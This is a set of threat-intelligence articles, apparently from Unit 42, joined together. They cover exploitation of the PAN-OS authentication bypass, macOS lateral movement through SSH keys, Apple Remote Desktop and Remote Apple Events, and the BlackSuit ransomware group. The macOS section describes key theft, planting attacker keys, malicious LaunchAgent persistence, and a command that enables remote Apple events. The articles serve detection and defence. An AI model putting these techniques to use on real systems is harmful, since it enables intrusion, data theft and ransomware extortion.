Palo Alto Networks originally identified threat activity potentially exploiting CVE-2024-0012 and and CVE-2024-9474 against a limited number of management web interfaces. Palo Alto Networks continues to track additional threat activity following the public release of technical insights and artifacts by third-party researchers beginning on Nov. 19, 2024. The Current Scope of the Attack section includes more information about the observed activity. Information about observed indicators and surrounding context is available in the Indicators of Compromise section, while a more complete list of IOCs is available at the Unit42-Timely-Threat-Intel GitHub.

We are tracking the initial exploitation of this vulnerability under the name Operation Lunar Peek.

If you haven’t already, Palo Alto Networks also strongly recommends that customers secure access to your management interface according to our recommended best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet. The vast majority of firewalls already follow Palo Alto Networks and industry best practices.

Please refer to the Palo Alto Networks Security Advisories (CVE-2024-0012, CVE-2024-9474) for up-to-date information about affected products and versions, as well as more remediation guidance.

For assistance related to a potential compromise, please reach out to Palo Alto Networks support. Unit 42 Retainer customers can reach out to Unit 42 directly.

Vulnerabilities Discussed CVE-2024-0012, CVE-2024-9474

Details of the CVE-2024-0012 and CVE-2024-9474 Vulnerabilities

An authentication bypass in Palo Alto Networks PAN-OS software (CVE-2024-0012) enables an unauthenticated attacker with network access to the management interface to gain PAN-OS administrator privileges. This could allow an adversary to perform administrative actions, tamper with the configuration or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474.

The risk of these issues is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended best practice deployment guidelines.

Please refer to the Palo Alto Networks Security Advisories (CVE-2024-0012, CVE-2024-9474) for up-to-date information about affected products and versions, as well as more remediation guidance.

Current Scope of the Attack

Palo Alto Networks originally identified threat activity targeting a limited number of device management web interfaces. This original activity, reported on Nov. 18, 2024, primarily originated from IP addresses known to proxy/tunnel traffic for anonymous VPN services.

Unit 42 is actively clustering and characterizing this originally observed threat activity. Originally observed post-exploitation activity included interactive command execution and dropping malware, such as web shells, on the firewall.

Web shell payloads recovered from compromised firewalls were obfuscated. One decoded payload sample (SHA256: 3C5F9034C86CB1952AA5BB07B4F77CE7D8BB5CC9FE5C029A32C72ADC7E814668) is presented below:

The below user-agent string has been observed during multiple actor exploit attempts.

Unit 42 recommends monitoring for and investigating any suspicious or otherwise abnormal activity on devices with a management web interface exposed to the internet, as exact post-compromise activity and payloads may vary.

Palo Alto Networks is still actively investigating and remediating all identified threat activity. Palo Alto Networks observed a notable increase in threat activity following the public release of technical insights and artifacts by third-party researchers beginning on Nov. 19, 2024. At this time, Unit 42 assesses with high confidence that a functional exploit chaining CVE-2024-0012 and CVE-2024-9474 is publicly available, which will enable broader threat activity.

Unit 42 continues to also observe both manual and automated scanning activity aligning with the timeline of third-party artifacts becoming widely available. In agreement with third-party reporting, Unit 42 has also observed increased diversity of post-compromise activity to include additional payloads such as open-source C2 tools as well as crypto miners.

A list of IP addresses and surrounding context are available in Indicators of Compromise, while a more complete list of IOCs is available at the Unit42-Timely-Threat-Intel GitHub.

Unit 42 will continue to update this additional information as relevant data is available and sharable.

Remediation Guidance

Palo Alto Networks recommends that customers update to receive the latest patches that fix CVE-2024-0012 and CVE-2024-9474. Please refer to the Palo Alto Networks Security Advisories (CVE-2024-0012, CVE-2024-9474) for up-to-date information about affected products and versions.

If you haven’t already, Palo Alto Networks also strongly recommends that customers secure access to your management interface according to our recommended best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet. The vast majority of firewalls already follow Palo Alto Networks and industry best practices.

Conclusion

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Palo Alto Networks customers are better protected by our products, as listed below. We will update this threat brief as more relevant information becomes available.

Palo Alto Networks Product Protections for CVE-2024-0012 and CVE-2024-9474

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

For assistance related to a potential compromise, please reach out to Palo Alto Networks support. Unit 42 Retainer customers can reach out to the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Indicators of Compromise

Command and Control Infrastructure

An increasingly high volume of threat actor IP addresses have been identified attempting to scan and/or connect to management web interfaces to exploit CVE-2024-0012 and CVE-2024-9474.

Many of these IP addresses have been known to proxy/tunnel traffic for anonymous VPN services, which may include legitimate user activity originating from these IPs to other destinations.

Unit 42 has also observed both manual and automated scanning originating from various IP addresses. This activity has greatly increased in volume and scope following the public release of technical insights and artifacts by third-party researchers beginning on Nov. 19, 2024.

A more complete list of observed IP addresses is available at the Unit42-Timely-Threat-Intel GitHub. Unit 42 will continue to update relevant values as additional information is available and sharable.

Post-Exploitation Artifacts

SHA256 Context
3C5F9034C86CB1952AA5BB07B4F77CE7D8BB5CC9FE5C029A32C72ADC7E814668 PHP web shell payload dropped on a compromised firewall

A decoded view of this payload is available in the Current Scope of the Attack section
User-Agent:Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
 User-agent string observed during multiple actor exploit attempts

Additional Resources

Updated Nov. 19, 2024 at 3:00 P.M. PST to add clarifying language to the Executive Summary, expand the Current Scope of the Attack section, and add new IoCs.

Updated Nov. 20, 2024 at 3:25 P.M. PST to make additions to the Executive Summary, the Current Scope of the Attack section, and to add new IoCs.

Updated Nov. 21, 2024 at 3:24 P.M. PST to add user-agent string to Scope of the Attack section and Artifacts subsection in IoCs section. Additional IoCs were added to GitHub and users redirected there. Edited for consistency and clarity.

Updated Nov. 22, 2024 at 3:05 P.M. PST to add additional detail on the diversity of post-compromise activity.

Lateral Movement on macOS: Unique and Popular Techniques and In-the-Wild Examples

Posted on by Samantha Stallings

Executive Summary

In this article, we explore various lateral movement techniques for macOS, some of which are specific to macOS while others are shared by other operating systems. We’ll also provide real-world examples to illustrate these methods and discuss detection opportunities.

This article will discuss the use of the following techniques to carry out lateral movement:

  • SSH key theft and unauthorized access: This section covers how attackers can achieve lateral movement by stealing and exfiltrating SSH keys. Attackers can also place their own keys in the authorized_keys directory, essentially designating a specific key as trusted.
  • Apple Remote Desktop: This section discusses the significant advantage an attacker gains by successfully compromising an administrator's machine hosting the administrator ARD application, which could ultimately lead to total control over multiple corporate machines.
  • Remote Apple Events (RAE): This section goes over how AppleScript can be used to create RAE, allowing specific events to be executed on an application, on a remote machine within a local network.

Lateral movement refers to the techniques cyberattackers use to navigate through a network after compromising an initial system. This phase is crucial for attackers to achieve their ultimate objectives, which might include data exfiltration, persistence or further system compromise.

While much focus has historically been on lateral movement in Windows environments, macOS is not immune to these tactics. Moreover, its use in attacks is a growing trend.

Palo Alto Networks customers are better protected from the threats discussed in this article through our Cortex line of products.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics macOS, Remote Desktop

Exploiting SSH Keys: Theft and Unauthorized Access

What Are SSH Keys?

Secure Shell keys are a pair of cryptographic keys used for secure authentication between a client and a server over a network. SSH keys typically consist of a private key kept secure on the client and a public key placed on the server. The keys are placed in the .ssh directory within a user’s home directory on a macOS host.

Common uses of SSH keys include:

  • Remote Administration: System administrators use SSH keys to remotely access and manage macOS servers and other systems without needing to enter passwords. This means that the keys can still be used even if the password has been changed since they were acquired.
  • Automation: SSH keys enable automated scripts and applications to have a secure connection to perform tasks on remote servers.
  • Git operations: Developers use SSH keys to authenticate with Git repositories hosted on platforms like GitHub, GitLab and Bitbucket, allowing secure code pushes and pulls.
  • Secure file transfers: Tools like scp (secure copy) and rsync (remote synchronization) use SSH keys to transfer files securely between macOS machines and other servers.

Misuse of SSH Keys by Attackers

Lateral Movement via SSH Key Theft

Attackers can deploy keyloggers to capture keystrokes to, for example, steal passphrases for SSH keys. Attackers might also try to exfiltrate SSH keys, either by stealing the entire .ssh directory with its contents or by copying the key files aside and then use the stolen keys to exfiltrate additional data.

The cases we describe in the following sections provide examples of attempts for key theft.

Cobalt-Strike Beacon Dropped by Malicious Python Package

In 2021, attackers targeted Baidu search engine users with trojanized versions of tools such as iTerm2, SecureCRT and Navicat. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product itself is flawed or malicious.

The malware, known as ZuRu, downloaded and executed a Python script for reconnaissance and credential stealing. Figure 1 below shows how this Python script collects information such as bash and zsh history files, the /etc/hosts file, system keychain and contents of the .ssh directory. The script then exfiltrates the collected data using curl.

Screenshot of a computer terminal displaying code, primarily Python and shell scripting, that checks for the existence of certain directories and files, and includes a curl command with a URL. Two sections are highlighted in red boxes.
Figure 1. Part of the commands run by the Python script downloaded by ZuRu to exfiltrate information from the system.
PyTorch ML Framework Compromised Using a Malicious Dependency

In December 2022, a popular machine learning framework named PyTorch announced it had fallen victim to a supply chain attack using a method called dependency confusion. In this attack, threat actors compromised one of the framework's dependencies named torchtriton, leading to the execution of malicious code.

The compromised dependency would deploy a malicious binary responsible for stealing system information, including the contents of the .ssh directory, which it then uploaded to an attacker-controlled C2 server. While the primary focus and reports were on Linux, the general nature of dependency confusion and the cross-platform nature of Python meant that macOS systems using the affected package could also be impacted.

SSH-Snake Tool Used for Automatic Network Traversal

Another example of SSH key exploitation is SSH-Snake, a sophisticated tool that automates the exploitation of SSH keys to enable lateral movement within a network. This tool essentially acts as a worm, automating and executing the process repeatedly.

This tool is designed to perform the following activities:

  • Searching for SSH private keys on the system it is running on, including discovery in .bash_history entries
  • Locating hosts that can accept the newly found keys
  • Attempting to connect to the potential hosts using the discovered SSH keys
  • Upon successful connection, repeating those steps all over again on the new machine

Planting SSH Keys in Authorized_keys

Once attackers have access to a system, they can plant their public keys in the authorized_keys file to maintain persistent access. The authorized_keys file is a crucial component in SSH authentication.

This file is used to configure which SSH public keys are allowed to access a particular user account on a server. It is typically located in the .ssh directory within a user’s home directory on the machine (e.g., /home/username/.ssh/authorized_keys).

This file contains a list of public keys granted access to the user's account. When a user attempts to log in via SSH using a key pair, the SSH server checks the corresponding public key against the entries in the authorized_keys file. If a match is found, access is granted without requiring a password.

Insekt Malware Appends Attacker SSH Keys to Authorized_keys File

In October 2022, researchers discovered Insekt malware, which is a payload served by the Alchemist attack framework. This threat targets Windows, Linux and macOS. Its capabilities include listing the contents of the .ssh directory on a victim's machine and adding the attackers' SSH keys to the authorized_keys file, enabling them to establish a trusted connection to the machine.

Here are our recommendations for what activities organizations should look for that could help detect suspicious activity:

  • Any alterations to the authorized_keys file content by a suspicious process, which could be an unsigned process, for example.
  • Events involving the download of an attacker’s public SSH key from a remote server, then appending it to the authorized_keys file. Attackers could do this with a cURL command using the format shown in Figure 2.
Screenshot of a command line interface showing the use of the 'curl' command. Green text on a light background.
Figure 2. Using the curl command to download an attacker's public SSH key to the authorized_keys file.
  • An SSH connection attempt with a command to run upon successful connection to a target machine, to echo a key to the authorized_keys file as shown below in Figure 3
Screenshot of code using the ssh command. Green text on a light background.
Figure 3. Using the ssh command to download an attacker's public SSH key to the authorized_keys file.

Apple Remote Desktop (ARD)

ARD is a comprehensive remote management tool used to administer and manage macOS hosts within a network. It allows for software distribution, remote assistance, system administration and asset management. To deploy ARD, administrators can install the Apple Remote Desktop app on their own Mac, which they can purchase from the Mac App Store.

The client component is built into macOS, requiring only activation and configuration through the Sharing section of the macOS System Preferences pane. Clients can be added to the ARD admin list by entering their network address or through automated network scanning and discovery via Bonjour.

Figure 4 shows an example of the interface for the ARD administrator app.

Screenshot of a Remote Desktop application on a Mac operating system showing an open UNIX command execution window.
Figure 4. ARD administrator app interface.
Key Legitimate Uses of ARD

The following are the key legitimate uses of ARD:

  • Remote administration: This allows administrators to remotely access and control Macs for tasks like software installation, updates and system configuration. It enables support personnel to troubleshoot and resolve issues without physical access to the machine.
  • Software distribution: ARD allows for the simultaneous distribution and installation of software packages on multiple Macs, saving time and ensuring consistency across devices.
  • Asset management: This provides comprehensive reporting on hardware and software configurations, helping organizations manage their assets. Administrators can generate detailed reports on system usage, software installations and hardware configurations.
  • User assistance and training: Support staff can use screen sharing to guide users through tasks or resolve issues in real-time.
  • Security management: ARD can help enforce security policies by allowing administrators to monitor user activity and ensure compliance with organizational policies. Administrators can also use it to remotely lock screens, log out users, or shut down systems if it detects security breaches.
How Can Attackers Leverage ARD?

Generally, ARD has to be manually enabled to be available for use on a machine. This can be done by enabling Remote Management via the Advanced Sharing configurations in System Settings. It is not enabled by default.

In cases where it is not enabled, attackers have used SSH to run the kickstart command shown in Figure 5, which can enable remote management.

Screenshot of system library files for macOS, displayed in green characters on a light background.
Figure 5. Kickstart command that can enable remote management.

The flags in the above example activate the Remote Management service on the system, which enables ARD. The flags then configure the Remote Management settings to allow access and management of all users. In addition, this kickstart command grants all possible privileges for control via the Remote Management over the users on the machine.

Notable privileges allow the ARD administrator to perform the following activities on remote machines:

  • Observing the screen
  • Controlling the remote machine
  • Opening and quitting applications
  • Changing system settings
  • Restarting and shutting down the system
  • Copying items

In addition, ARD includes features allowing:

  • Curtain mode: This allows an administrator to take control of the remote machine without the user’s knowledge by hiding the screen activity. The user’s screen will be locked and a message can be displayed for them.
  • UNIX command execution: This allows an administrator to send shell commands, with the option to execute them as different users.
  • System information gathering: ARD can collect detailed information about the system, such as hardware specifications, installed software and running processes.
  • Integration with other services: ARD allows an administrator to use AppleScript or Automater to automate tasks and execute complex attack sequences.

Once an attacker achieves access to an administrator machine running the ARD administrator application, they obtain powerful centralized access to all connected machines. Additionally, their actions might seem more legitimate than events stemming from other methods used by attackers, such as an SSH connection.

On a machine running the ARD administrator application, it’s easier for an attacker to hide their tracks. In terms of known usage in the wild, attackers have used ARD screen-sharing functionality for lateral movement.

The advantages an attacker might find in ARD over other methods for lateral movement such as SSH include:

  • User impersonation, broader scope of control:
    • Attackers can use ARD to impersonate a legitimate user more convincingly by using the same desktop environment, potentially avoiding detection by mimicking typical user behavior.
    • SSH does not provide a way to directly interact with the GUI, making impersonation less seamless. ARD provides full GUI access, allowing attackers to see and interact with the desktop as the legitimate user would. This can be useful for performing tasks that are only possible through a GUI.
  • Persistence and Evasion:
    • By leveraging ARD's built-in capabilities for remote administration, attackers can take advantage of situations where the application remains active and provides continuous access. This allows them to maintain access without needing to install additional tools, reducing the risk of detection.
    • SSH may be more noticeable when such connections are monitored. Attackers can establish more persistent access and use legitimate remote desktop sessions to blend in with normal administrative activity.
    • In addition, because ARD can be configured to start automatically, attackers can ensure their access persists through reboots.

Here are our recommendations to help organizations detect suspicious activity:

  • When a remote machine is added to the ARD admin application, after authentication, a process called ardagent will be created on the remote machine. This event can be coupled with a network event involving port 3283 to indicate a successful initial connection to the machine.
  • For events involving the Unix command execution feature, look for suspicious commands under the ardagent process tree.
  • When the ARD admin application starts a remote control/observe session, the remote machine will have a Unified Log entry addition similar to the following, which will indicate there has been an attempt to start the session using screensharingd.
  • Screensharingd is a daemon responsible for managing screen sharing services, along with an indication whether the authentication has SUCCEEDED or FAILED and the IP address of the viewer.
  • The output of this is as follows: 2024-03-07 13:36:06.525612+0200 0xc34a Default 0x0 2954 0 screensharingd: Authentication: SUCCEEDED :: User Name: john :: Viewer Address: 192.168.2.120 :: Type: N/A
  • Suspicious events following right after such a successful connection can be attributed to a remote user.

Remote Apple Events

RAE is part of the Apple Event Manager framework, which provides a standardized way for applications to communicate with each other using Apple Events over a network. This feature leverages the Apple Events scripting architecture to perform tasks remotely.

RAE allows applications on macOS to expose and execute specific functions over a network. When an application wants to support RAE, it must first register the functions it wants to make available. This is done through the Apple Events API.

Essentially, the application sets up a handler for each event identifier, defining what action should be taken when that event is received. Once these handlers are registered, remote clients can send Apple Events with the corresponding identifiers to invoke the specified functions. This setup enables remote interaction with the application, allowing it to be controlled or automated from other systems over the network.

To use RAE, the Remote Application Scripting feature must be enabled in the Sharing settings under System Preferences.

AppleScript is a scripting language that allows users to write scripts to automate tasks. AppleScripts can send Apple Events to local or remote applications to execute specific actions.

RAE can be sent using AppleScript. The tell command is used to specify the target machine, application and commands for the application to perform. Figure 6 shows an example of this.

A screenshot displaying a script with coding instructions aimed to define and manipulate a file on a remote machine, including setting a file path and opening a file with write permissions.
Figure 6. Code to use the tell command to write a file to a remote machine.

The script in Figure 6 above showcases how to perform file operations on a remote machine using AppleScript and RAE. The specified text is written to a file on a remote macOS machine.

This script first sets up the connection details for the remote machine using the EPCC protocol to send RAE over a network, specifying the username, password and IP address. This establishes a communication channel between the local and remote machines over TCP port 3031 using the eppc:// URL scheme, and it requires authentication using a username and password for valid users on the machine.

This activity ensures that only authorized users can send commands to the remote machine. The script then defines the relevant file details. Within a tell block addressed to the Finder application of the remote machine, the script opens the file for access with write permission, writes the specified content and then closes the file.

How Can Attackers Leverage RAE?

While RAE and the EPPC protocol have legitimate uses, malicious actors can also exploit them for lateral movement within a network. If RAE is not enabled, the attacker can enable them by executing commands with administrative privileges in a terminal:

  • systemsetup -setremoteappleevents on

Here’s how attackers might leverage these technologies for malicious purposes:

Remote Command Execution

Using compromised credentials, attackers can execute AppleScript commands to control applications on other machines within the same network as shown below in Figure 7.

The script includes commands to set a file path, open the file for writing, write content to the file, and close it. It concludes with a command to change terminal access permissions.
Figure 7. AppleScript commands to control applications on other machines within the same network.

This script defines the path and content of a malicious shell script, then writes and executes it on a remote machine using Finder and Terminal applications over a RAE connection. The Finder application on the remote machine opens the specified file for writing, writes the malicious content to the file and closes it.

After a short delay, Finder uses the Terminal application on the remote machine to make the script executable and then runs it. This sequence effectively plants and executes a potentially harmful script on the targeted machine.

Automation Scripts

Attackers can write sophisticated AppleScripts to automate malicious tasks on multiple machines. For instance, they could script data exfiltration or the deployment of additional payloads as shown below in Figure 8.

Screenshot of a script code on a plain background. The code includes instructions for defining a remote machine access path, setting file locations for "secret" in the Documents directory and duplication to the "tmp" directory, using the application "Finder".
Figure 8. Example of AppleScript for data exfiltration.

Persistence

To maintain persistence, attackers can use RAE to schedule tasks or create login items on remote machines. For example, this can be done as shown in Figure 9.

Text from a computer screen displaying a command script to launch an application. The script includes file paths and the command syntax to execute a job named ""com dot malware dot plist"".
Figure 9. Scripting RAE to schedule tasks or create login items on a remote host.

Once connected, the script executes a command in the remote Terminal to load a malicious LaunchAgent (com.malware.plist). By using launchctl load -w, the attacker ensures the malicious agent is loaded and marked for persistent execution, making it automatically start on subsequent user logins or system reboots.

Here are our recommendations for what activities organizations should look for that could help detect suspicious activity:

  • AppleScripts involving the use of the eppc protocol.
  • Unified Log entries involving the following predicates along with network activity related to port 3031, which is associated with RAE and the eppc protocol. This can indicate a connection attempt and triggering of remote events:
    • Subsystem: 'com.apple.appleevents'
    • Category: 'eppc'

Conclusion

Lateral movement on macOS involves a variety of techniques, from exploiting SSH keys to more unique ones leveraging legitimate native management tools. Each method leverages different aspects of macOS’s architecture and features to gain access and maintain persistence. Understanding these methods and studying real-world examples helps in developing efficient defenses to protect macOS environments from future threats.

It is evident that macOS is not immune to lateral movement techniques used by cyberattackers. The real-world examples presented in this document serve as a stark reminder of the importance of implementing robust security measures to protect macOS environments from malicious lateral movement activities.

Through Cortex XDR, Palo Alto Networks customers receive better protection from different lateral movement techniques, including Behavioral Threat Protection and a Local Threat Evaluation Engine. Customers can further use our XQL Cortex Query Language to hunt for suspicious activities in their networks. The Appendix for this article contains helpful examples of XQL queries to hunt for lateral movement in a macOS environment.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Appendix

Examples of XQL queries helpful in hunting for lateral movement in a macOS environment are available at our GitHub repository.

Additional Resources

Threat Assessment: Ignoble Scorpius, Distributors of BlackSuit Ransomware

Posted on by Unit 42

Executive Summary

Unit 42 researchers have observed an increase in BlackSuit ransomware activity beginning in March 2024 that suggests a ramp up of operations. This threat emerged as a rebrand of Royal ransomware, which occurred in May 2023. Unit 42 tracks the group behind this threat as Ignoble Scorpius. Since the rebrand, Unit 42 has observed at least 93 victims globally, a quarter of which were in the construction and manufacturing industries.

The group describes themselves as an “extortioner named BlackSuit” and claims to reverse file encryption for “quite a small compensation essentially.” Although the group states the compensation is small, Unit 42 has observed that, on average, the initial ransom demand is about equal to 1.6% of the victim organization’s annual revenue. As of the date of this report, the median victim revenue across all industries is roughly $19.5 million, making the ransom payout quite significant for all organizations.

This threat assessment includes details identified during routine threat research activities, incident response cases and collaboration with the Unit 42 Managed Threat Hunting team.

This report maps the group’s activity to the MITRE ATT&CK® framework in that section, which organizations can use to assess their coverage of threats posed by Ignoble Scorpius, pre- and post-compromise.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

Related Unit 42 Topics BlackSuit Ransomware, Royal Ransomware, Ignoble Scorpius
Related Unit 42 Themes Cybercrime, Ransomware

BlackSuit Ransomware Overview

BlackSuit ransomware emerged in May 2023 as a rebrand of the Royal ransomware. Unit 42 Threat Intelligence assesses that the group behind this threat is a direct evolution of Royal, and as such we track the group under the same moniker, Ignoble Scorpius.

Much like the operations as Royal ransomware, BlackSuit operates a dark web leak site where they publish their victims’ names and stolen data to extort them into paying a ransom. Figure 1 shows an excerpt of this site.

Screenshot of the BlackSuit ransomware leak site with much of the information redacted. The user has the ability to search the site. The text on the website talks about a company facing consequences after data was disclosed.
Figure 1. Screenshot of BlackSuit leak site.

Since the rebrand, Unit 42 has observed at least 93 victims globally and an upward trend in the number of successful compromises shared on their leak site. This suggests an overall ramping up of operations. Figure 2 below details the monthly total leak site posts from Ignoble Scorpius as BlackSuit.

Bar chart of the number of leak site posts per month from May 2023 through October 2024. Activity peaks in May 2024.
Figure 2. Activity from Ignoble Scorpius under the BlackSuit name, May 2023 through October 2024.

The number of organizations truly impacted by the group is likely higher, as organizations can pay their ransom before ransomware operators post details on their leak sites to avoid reputational damage.

The median revenue of these victims was $19.5 million, which highlights the average size of organizations that the group has successfully targeted. Based on ransom negotiations observed by Unit 42, we can also estimate that the group’s initial ransom demand is equal to about 1.6% of the victim organization’s annual revenue.

Breaking down the 93 victims by sector indicates a preference for the education, construction and manufacturing sectors, as shown in Figure 3 below.

A pie chart showing the percentages by industry affected by Ignoble Scorpius. Education is the largest at 14%, then construction at 12.5%, manufacturing at 11%, and wholesale and retail at 10%.
Figure 3. Pie chart breakdown of Ignoble Scorpius victimology.

Finally, as with many ransomware groups, Ignoble Scorpius’ victims are overwhelmingly based in the United States, as shown below in Figure 4.

A column chart of the distribution of Ignoble Scorpius's victim count by country. The highest count is the United States at close to 50. The next countries at counts under 10 are the United Kingdom, Belgium, German, Italy, Australia and others.
Figure 4. Ignoble Scorpius’ geographical impact.

Attack Lifecycle

The following sections highlight tactics, techniques and procedures (TTPs) observed from Ignoble Scorpius during BlackSuit incident response investigations Unit 42 conducted. Similar findings have also been shared by researchers at ReliaQuest and The DFIR Report.

Initial Access

Initial access for Ignoble Scorpius, and ransomware groups in general, can be highly varied due to the prevalence of initial access brokers (IABs) who sell stolen credentials or other forms of access to organizations. While some threat actors obtain initial access on their own, others require the expertise of IABs to gain entry into a compromised network.

During an incident response investigation, delineating between the TTPs of a suspected IAB or the ransomware group is not always possible. Within Ignoble Scorpius’ ransomware cases, Unit 42 has observed many different initial access methods, including:

  • Phishing campaigns with malicious email attachments (T1566.001);
  • SEO poisoning with GootLoader (T1608.006);
  • Using legitimate VPN credentials (T1078), potentially obtained via social engineering and voice-based phishing (aka vishing) of executives (T1566.004)
  • A software supply chain attack (T1195.002).

Credential Access and Privilege Escalation

Unit 42 has observed Ignoble Scorpius using common credential theft tools, such as Mimikatz and NanoDump, which is “a flexible tool that creates a minidump of the LSASS process.” Techniques observed include:

  • Dumping LSASS via Taskmgr (T1003.001)
  • Performing a DCSync attack (T1003.006)
  • Using Impacket to conduct an adversary-in-the-middle (AiTM) attack (T1557)
  • Requesting Kerberos service tickets (T1558.002)

Once they have obtained sufficiently privileged accounts (i.e., domain administrator on Windows systems) Ignoble Scorpius has been observed dumping the NTDS.dit file via ntdsutil, (T1003.003) to compromise the domain controller.

Lateral Movement

Unit 42 has observed Ignoble Scorpius making use of RDP (T1021.001), SMB (T1021.002) and PsExec (T1570) to move laterally across systems.

Defense Evasion

Unit 42 has observed Ignoble Scorpius and other ransomware groups making use of a vulnerable driver and loader, which are called STONESTOP and POORTRY by Mandiant. They use these tools to disable and evade antivirus and EDR solutions (T1562.001).

Exfiltration

Ignoble Scorpius has used various commonly available software and services to exfiltrate victim data. We observed WinRAR and 7-Zip being used to compress and stage files prior to exfiltration, after which attackers used WinSCP over FTP and Rclone to exfiltrate files. In at least one instance, attackers renamed Rclone to svchost.exe prior to execution (T1048).

Unit 42 has also observed Ignoble Scorpius using a third-party project management application named Bublup to exfiltrate files (T1567, T1567.002). Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product is flawed or malicious.

Execution and Impact

As Ignoble Scorpius' goal is to encrypt and ransom a victim’s files, the primary payload of their campaigns is the BlackSuit ransomware. During incident response investigations involving BlackSuit, Unit 42 has also observed attackers using other tools for persistent access and the execution of arbitrary commands.

These additional tools include Cobalt Strike and SystemBC. In these cases it was not possible to identify whether Ignoble Scorpius or an IAB deployed the tools.

The final ransomware payload has Windows and Linux operating system variants with specific functionality to target VMware ESXi servers in some Linux variants.

Windows Variant

Unit 42’s analysis of the Windows variant found that the execution of the malware required the command-line argument -id followed by a 32-character value. The ID identifies the victim and grants access to a private chat room on Ignoble Scorpius' dark website to negotiate the ransom. They provide the ID to the victim via the ransom note. An example ransom note is shown below:

Other command-line arguments for the Windows variant of BlackSuit malware are shown below in Table 1.

Argument Functionality
-path Specifies a target directory to encrypt
-id Victim ID
-ep Percentage of a file that should be encrypted
-localonly Encrypts only the local system
-networkonly Encrypts file shares connected to the system

Table 1. BlackSuit Windows variant command-line arguments.

Analysis of BlackSuit ransomware from TrendMicro and SentinelOne in 2023 identified more command-line flags than recent samples. This could be due to the ransomware group creating variants that target ESXi servers specifically, which we detail below, or a consolidation of functionality.

After the initial execution, the malware creates a mutual exclusion flag (aka mutex) with the value Global\WLm87eV1oNRx6P3E4Cy9 to prevent machines from being infected multiple times. As a result, the mutex chosen by Ignoble Scorpius needs to be a unique value that is not frequently changed. Unit 42 has observed attackers using this mutex as recently as June 2024, with open source highlighting its use as early as October 2023.

To ensure the encryption of as many files as possible, the ransomware enumerates and terminates a list of known processes and services (T1057). The ransomware also uses Windows Restart Manager (rstrtmgr.dll) to identify processes using files that would prevent encryption, terminating anything that isn't a critical process or the Windows File Explorer (explorer.exe). This is a technique commonly used by ransomware payloads.

The malware uses the following command to delete shadow backups (T1490):

Screenshot of code snippet that deletes versions.

To execute the ransomware payload, researchers at ReliaQuest observed Ignoble Scorpius downloading VirtualBox and creating a virtual machine (VM) (T1564.006). They copied the ransomware payload from the VM using PsExec (T1570) to “hundreds of hosts via SMB” (T1021.002). They then used Windows Management Instrumentation Command-line (WMIC) to load the ransomware as a library to execute it. This is a technique that Unit 42 has also observed from the group (T1047, T1218.010).

They then enumerate available files (T1083) and encrypt them using OpenSSL AES, adding the extension .blacksuit to the encrypted file’s name (T1486).

ESXi Variant

The ESXi variant, a Linux-based executable, targets virtual machines and introduces two more command-line flags:

  • -vmkill (shuts down virtual machines before encryption if set)
  • -crypt_all

If the -crypt_all flag is not set, the following files relating to VMware are encrypted:

  • *.vmsd
  • *.vmx
  • *.vmxf
  • *.vmdk
  • *.vmem
  • *.vmsn
  • *.nvram
  • *.vmx~
  • *.vswp
  • *.vmtx
  • *.vmss

Conclusion

Our analysis indicates that BlackSuit is a direct continuation of the activity under Royal, and as such we have opted to continue tracking the group under the same identifier as Royal – Ignoble Scorpius. The true effectiveness of rebranding is difficult to quantify. However, it can offer ransomware groups a respite from the scrutiny of researchers, law enforcement and the media.

A more subtle effect of rebranding is the perception it can have on defenders. For example, BlackSuit’s predecessor Royal and their predecessor Conti were some of the most reported and sophisticated ransomware groups while active.

As a result, organizations who were looking to assess their exposure to ransomware at the time could have looked toward the most prolific ransomware groups and attempted to cater their defensive solutions toward them. Rebranding resets this perception, and if it is accompanied with a shift in the group’s TTPs, it can place defenders on their back foot.

This is one of the primary reasons we chose to highlight Ignoble Scorpius’ BlackSuit ransomware in this report. Although the group as BlackSuit might not yet reach the top 10 list of ransomware groups by number of compromises, this group has the following qualities:

  • They conduct complex supply chain attacks
  • They exhibit a high level of sophistication compromising at least 93 organizations without a public-facing RaaS program
  • Their membership likely includes members from Conti and Royal ransomware

This report maps the group’s activity to the MITRE ATT&CK framework in the that section below. Organizations can use this information to assess their coverage of threats posed by Ignoble Scorpius, pre- and post-compromise.

Protections and Mitigations

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

MITRE ATT&CK TTPs

Table 2 below depicts the MITRE ATT&CK TTPs mapping for techniques referenced in this report.

ID Tactic Technique Name Procedure
T1570 Lateral Movement Lateral Tool Transfer Uses PsExec for lateral movement and tool transfer
T1567.002 Exfiltration Exfiltration Over Web Service: Exfiltration to Cloud Storage Uses RClone and Bublup for data exfiltration
